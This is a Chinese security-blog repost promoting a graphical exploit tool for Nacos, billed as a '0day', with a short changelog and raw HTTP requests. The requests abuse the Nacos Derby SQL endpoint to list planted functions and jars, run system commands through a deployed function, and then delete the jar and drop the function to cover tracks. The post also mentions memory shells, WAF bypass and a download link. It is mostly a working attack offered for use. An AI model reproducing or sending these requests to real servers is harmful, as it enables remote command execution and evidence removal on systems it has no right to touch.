0x01 简介
1. 部署函数id问题 没办法 存一下吧✅ (被部署太多不容易打，可参考6)
2. 本地加载 ✅
3. 关闭时要结束进程✅
4. 内存马太大 怎么办 ？
命令写内存jar？精简 ？❎ 换蚁剑✅
5. 判断系统 人工选择路径✅
6. 擦屁股/爆菊
查询存在的函数 S_EXAMPLE_xxxx 基本上用公开的poc都没改过包括本工具
GET /nacos/v1/cs/ops/derby?sql=select%20%2A%20from%20%28SELECT%20%2A%20FROM%20SYS.SYSALIASES%20WHERE%20ALIASTYPE%20%3D%20%27F%27%29%20tmp%20%2F%2AROWS%20FETCH%20NEXT%2A%2F HTTP/1.1Host: 172.16.0.95:8848Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2Connection: close
查询部署的jar
GET /nacos/v1/cs/ops/derby?sql=select%20%2A%20from%20%28SELECT%20%2A%20FROM%20SYS.SYSFILES%29%20tmp%20%2F%2AROWS%20FETCH%20NEXT%2A%2F HTTP/1.1User-Agent: Nacos-ServeraccessToken: 111Host: 172.16.0.95:8848Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2Connection: close
利用
GET /nacos/v1/cs/ops/derby?sql=select+*+from+%28select+count%28*%29+as+b%2C+S_EXAMPLE_AGIAJSOK%28%27id%27%29+as+a+from+config_info%29+tmp+%2F*ROWS+FETCH+NEXT*%2F HTTP/1.1Host: 172.16.0.95:8848Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2Connection: close
删除jar 卸载函数
POST /nacos/v1/cs/ops/data/removal HTTP/1.1Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymeBFzDXoUser-Agent: Nacos-ServeraccessToken: 111Host: 172.16.0.95:8848Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2Content-Length: 204Connection: close------WebKitFormBoundarymeBFzDXoContent-Disposition: form-data; name="file"; filename="file"Content-Type: text/plainCALL sqlj.remove_jar('NACOS.AGIAJSOK', 0)------WebKitFormBoundarymeBFzDXo--
POST /nacos/v1/cs/ops/data/removal HTTP/1.1Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymeBFzDXoUser-Agent: Nacos-ServeraccessToken: 111Host: 172.16.0.95:8848Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2Content-Length: 195Connection: close------WebKitFormBoundarymeBFzDXoContent-Disposition: form-data; name="file"; filename="file"Content-Type: text/plainDROP FUNCTION S_EXAMPLE_AGIAJSOK------WebKitFormBoundarymeBFzDXo--
验证
7. bypass waf
获取下载连接
https://github.com/Conan924/NacosExploit
原文始发于微信公众号（小黑说安全）：Nacos 0day 图形化利用工具
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论